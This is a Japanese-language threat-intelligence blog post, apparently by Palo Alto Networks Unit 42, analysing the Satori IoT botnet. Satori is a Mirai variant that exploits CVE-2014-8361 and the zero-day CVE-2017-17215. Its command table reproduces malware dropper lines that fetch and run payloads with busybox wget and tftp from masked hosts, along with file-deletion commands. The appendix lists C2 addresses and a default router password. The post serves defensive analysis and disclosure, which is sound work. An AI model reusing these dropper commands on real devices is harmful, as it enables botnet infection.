ゼロデイ脆弱性を悪用してホーム ルータをボット化する、進化したIoTマルウェアが登場

By , and

Category: Unit 42

Tags: , , , ,

This post is also available in: English (英語)

概要

2017年12月の初めに、360 Netlabは、新しいマルウェア ファミリを発見し、Satoriと命名しました。Satoriは、Miraiの亜種で、次の2つの脆弱性を悪用します。1つはCVE-2014-8361で、Realtek SDKにおけるminiigd SOAPサービスのコード実行に関する脆弱性です。もう1つは、CVE 2017-17215で、2017年12月の初めにパッチが適用された、Huawei製のHG532eホーム ゲートウェイで新たに見つかった脆弱性です。

Palo Alto NetworksのUnit 42がSatoriを調査した結果、Satoriの亜種が3つ存在することが、弊社のインテリジェンス データからわかりました。3つの亜種のうち最初のものは、最新の攻撃から8ヶ月前の2017年4月に発生していました。

また、CVE 2017-17215を悪用するバージョンのSatoriが活動を開始したのは、Huaweiにより脆弱性パッチが適用される前の、2017年11月後半であることも確認されました。これは、このバージョンのSatoriが典型的なゼロデイ攻撃であったことを意味します。つまり、パッチがまだ用意されておらず、当初は未知であった脆弱性に対する攻撃だということです。

Satoriの進化を分析することで、弊社は、多くのIoTマルウェアが既知の脆弱性だけでなく、ゼロデイ脆弱性のエクスプロイトも可能となるように進化しているという確証を得ました。

Gafgytなどの初期のIoTマルウェア ファミリや元のMiraiファミリは、デフォルトのパスワード、あるいは貧弱なパスワードを悪用することでデバイスを攻撃しました。これに対し、ユーザーやメーカーは、デフォルトのパスワードを変更し、より強固なパスワードを使用することでそれらの攻撃を阻止しようとしました。

AmnesiaIoT_Reaperファミリなどの作成者のように、一部のIoTマルウェアの作成者は、特定のIoTデバイスの既知の脆弱性を悪用するように戦略を変えて対抗しました。当然のことながら、IoTベンダーは、脆弱性にパッチを適用することで対抗しました。

こうしたことから、攻撃者が次に、パッチが適用されていない未知の脆弱性に対する典型的なゼロデイ攻撃を行うようになったのは、自然な流れといえるでしょう。

このブログでは、Satoriがどのようにして、ゼロデイ脆弱性を標的とするIoTマルウェア ファミリにまで進化したかについて、簡単にご説明し、Miraiの亜種であるSatoriが、どのようにしてMiraiのソースコードの一部を再使用し、telnetスキャニングやパスワードのブルート フォース攻撃といった機能を実行するかをお伝えします。Satoriは、IoTデバイスの種類を識別し、デバイスの種類に応じて異なる動作もします。弊社では、Satoriの作成者は最初に多数のIoTデバイスのファームウェアのリバース エンジニアリングを行い、デバイスの一般的な情報を収集して新しい脆弱性を発見したと考えています。そのとおりならば、将来的には他のさまざまなデバイスでも、未知の脆弱性を攻撃するSatoriの新しいバージョンが登場する可能性があります。

Satoriの進化

2017年4月から、Satoriマルウェアによる攻撃が確認されるようになりました。  弊社が収集した攻撃ログおよびサンプル分析結果の解析によって、Satoriファミリには図1に示す3つの主な亜種があることがわかりました。  弊社の分析によると、表1に示すとおり、これら3つの亜種はそれぞれ別のコマンドを実行します。

 

図1 これまでのSatoriファミリの進化

1番目の亜種は、インターネットをスキャンし、さまざまなパスワードを試して、telnetログインで脆弱なIPアドレスのチェックを行うだけです。ログインに成功すると、シェル アクセスを有効にしてから、/bin/busybox satori または/bin/busybox SATORIのコマンドを実行するだけです。

2番目の亜種は、おそらく静的検出を回避することを目的としてパッカーが追加されています。ここでは、攻撃者は、パスワード辞書に、「aquario」というパスワードを追加しており(図2参照)、必ず「aquario」で最初のログインを試行します。「aquario」は、南米で利用の多いあるワイヤレス ルータのデフォルト パスワードであることから、この攻撃者が意図的に南米からボット収集を開始したことがわかります。

3番目の亜種は、ゼロデイ脆弱性(CVE-2017-17215)を含む、2つのリモートコード実行の脆弱性を狙ったエクスプロイトを使用しています。2番目の亜種のサンプルの一部では、3番目の亜種で埋め込まれているコマンドと同じコマンドが使用されています(図3参照)。

亜種 攻撃 コマンド
1番目 2223ポートへのTelnet攻撃 enable

system

shell

sh

/bin/busybox satori (または /bin/busybox SATORI)

2番目 23ポートまたは2223ポートへのTelnet攻撃 enable

system

shell

sh

ping ; sh

/bin/busybox SATORI (または /bin/busybox OKIRU)

>DIR/.file && cd

>DIR/.file && cd DIR && /bin/busybox rm –rf .file

(DIR = ['/dev/netslink/', '/var/tmp/', '/tmp/', '/var/', '/home', '/', './', '/dev/', '/mnt/', '/boot/', '/dev/shm/', '/usr/'])

/bin/busybox rm -rf .okiru.dropper .okiru.binary .file

/bin/busybox wget; /bin/busybox tftp; /bin/busybox NBVZA

/bin/busybox wget; /bin/busybox tftp; /bin/busybox echo

/bin/busybox cat /bin/busybox || while read i; do /bin/busybox echo $i; done < /bin/busybox || /bin/busybox dd if=/bin/busybox bs=22 count=1

/bin/busybox cp /bin/busybox xhgyeshowm; /bin/busybox cp /bin/busybox gmlocerfno; >xhgyeshowm; >gmlocerfno; /bin/busybox chmod 777 xhgyeshowm gmlocerfno

/bin/busybox wget http://xxx.xxx.xxx.xxx:xxx/bins/satori.arm -O - > gmlocerfno; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno

/bin/busybox tftp –r satori.arm –l gmlocerfno –g xxx.xxx.xxx.xxx; /bin/busybox chmod 777 gmlocerfno; ./gmlocerfno arm; >gmlocerfno

3番目 2つのRCE脆弱性のエクスプロイト busybox wget -g xxx.xxx.xxx.xxx -l /tmp/rsh -r /okiru.mips ;chmod +x /tmp/rsh ;/tmp/rsh

cd /var/; wget http://xxx.xxx.xxx.xxx/rt.mips -O -> c

表2 それぞれの亜種で実行されるコマンド

図2: aquarioがパスワード辞書に追加

図3 バージョン2.0とバージョン3.0の両方にあるコマンド

Miraiの亜種

Miraiのソースコードは、Githubでオープン ソースとして公開されていることから、攻撃者は簡単にMiraiのコードを再使用して、ネットワーク スキャナーを実装し、telnetパスワードのブルート フォース攻撃やその他の攻撃用にパスワードのブルート フォース ログイン モジュールを実装できます。Satoriファミリは、ネットワーク スキャナーやtelnetパスワード試行、watchdog無効化など、Miraiコードの一部を再使用しています(図4参照)。

図4   watchdog無効化

またSatoriは、/procを横断検索して、/proc/PID/mapsおよび/proc/PID/exeに8種類の文字列がないか検索し、それらのプロセスを強制終了します(図5参照)。2番目の亜種では、プロセスを強制終了する動作がデバイスごとに異なっています。  Satoriは、同じ方法で/proc内の/var/Challenge、 hi3511、 /mnt/mtd/app/gui、gmDVRというキーワードを検索して侵害されたデバイスが特定のデバイス タイプに該当するかをチェックします。しかし、これらに該当する4つのIoTデバイスでは、Satoriは、プロセスを強制終了しません。この4つの文字列から、Satoriの作成者は、将来の攻撃用に、IoTデバイスのファームウェアを最初にリバース エンジニアリングして、デバイス タイプを識別したと弊社は考えています。

図5 プロセスのチェックと強制終了

結論

Satoriマルウェア ファミリは、IoTマルウェアが、単純なパスワード ブルート フォース攻撃から、脆弱性エクスプロイト攻撃に進化し続けていることを示しています。IoTマルウェア作成者にとって、Miraiのオープン ソース コードが、新しい亜種を開発するための絶好の足がかりになっています。今後も、IoTマルウェア作成者が、既知の脆弱性を悪用し、ゼロデイ脆弱性を発見することによりIoTデバイスを攻撃する傾向はますます強まるものと思われます。 

Palo Alto Networksは、Satoriが悪用するゼロデイ脆弱性に対するIPSシグネチャ(37896)をリリース済みです。また、WildFireは、Satoriサンプルを検出できるよう対応済みで、以下のC2アドレスがマルウェアとして分類されています。  AutoFocusをご使用のお客様は、Satoriタグで、この活動を調べることができます。

付録

C2 (C&C) サーバー

  • 185.47.62[.]133:8716
  • 185.101.98[.]128:4312
  • 185.130.104[.]171:7723
  • 176.123.30[.]27:7723, 7645, 6651

SHA256

  • c0057bcae877e08ffc187e97cad5b7926c4dba965526766857c2dc71dcfca003
  • b2d7c864c6d5a6b06258fde41380dfa2753b67713db5cf82c15059b2490ea332
  • e65827616c9b7c088ad9fa0651f14a3d4760add1f9f93019bca9bb08e8936f2a
  • b0fba3aac1b434ba096502287249d59e63632e03a8b13d1d3927a5701e91cd7d
  • d765067756a18b617a8879e6a3a75359881054debc1312a14920604f13791b94
  • 58a1253909977bb4f0663c731fb8a1c4020a80f11cc528ee97a522ad7a588655
  • 49969ff2f0005d1635a62be5961db43b299d1e58564dd8a95b2b1a0a707f3e15
  • 56b91deec7b67544b22527cd72308b8bf59bda8a9c668aed9c13399c97402981
  • 3ce224d060acfb7b6ded32a5d482b816b13e085ebebabd78b535759cc929e592
  • 5256d20eaa4480d971acf6b53e56d638366049b3af7fae63f148cb3a4ad0f9a6
  • 233d6fa6c2769347fb8ce6f59ce761b25a1a44923e5bd9774779b8b495607cd8
  • 5450a6b94fa94561d4869ce42689d04377b823d9243adf0ead7bb5f1eac73422
  • dc466d8b3dc48194079ecbaf1f464ae6bf73b733945b6e2c39d30dd63cdb380c
  • 246337c0e850ad3ab88141a756c698c2088ebb52ff8bede7c785a97204cb4e29
  • ebcd46c888eebfb173932ba9cf03afde10493d0d61fa4b99874427512f410c49
  • 2d706350c6f6392865bb550106ba5b3c39f7e2afc3d8683e4d8676b4e284adc2
  • 184ba48be43f13e9a85c26e6ae19363317e5e7b770e8010d04302913b224737a
  • 18c62166a0ced40f36294953ec3b71f7574f186d68cf62e55b6298cd3d1d2a15
  • 340b579b88d1cd71ae4f77f82ea6816b92c915d8e59cdc4b3c3d015a4ad028d3
  • 1412d0af18e936d5561428d357de2453160fab7a3e91da1dc048881e1dd3be42
  • 14c294b3acb095e786fbed8964002a3b9a7a2a92ed7bc06ec5dde9f3f2ace328
  • c46c4495877837f062894c746dca141f96884c1a0145ce762417be04178ca3ca
  • da4646deb21a64303e65313082c8e4a4fb4a4e70d502e5d27c73c68531063adb
  • 532b0a6983dcd0aed47fa4df2a8408de4c4a3722302acfe63a4920389406740a
  • b550d5c6cb398706e52c4c765a6729bb276b72816559e18c6c82c99960ed7b8c
  • ed6f6f7d3a2a189ce7d246b44e0e74dbf9d1e6e39f5d7a0a3666c2e65c4a1f0f
  • cfed40f9a6f3e555df646dae4decb95636af26b0da4e9f9173420bae26860b38
  • 358d87eb325f9d4c5e546969b2dac99a1207ab91b3d050780ff5da9a203d3b89
  • 4d4d94ca2a6490b255bc2453e56d332923d253cc514de449b6c48316e15883a3
  • 86d78298007d3fe09bffef30af233492fe99e4cf355b7c122083e65da68d0bd1
  • 5f1a03105b2f712630499e0a7b01e6fb1b55fbec6f02c542653ae53a9c77c1aa
  • 014e48d29ebf6c52fcd6493ad03d168d420a5086c4d8b561327414e2598b67c7
  • 62d89390cc20f74b2be235ccd0952234ec18077061a58894adcf045a042a4966
  • 06a3137e5fc8e00d9a29d7df92b550eb0954ea0dc4979a26fb39689769df258a
  • 3bccd6d88e79225f93efa9494da1255b9b9e426d89d40765af9ea83697557d75
  • 15bdb51d40bd8f764a87598c97f88ed2c30ccc08215bc9aa2a4558e86bcfd164
  • 3ae71ec80857687a842753ea278865e137f2ed2ba234aa1ebc2dc4d01896c098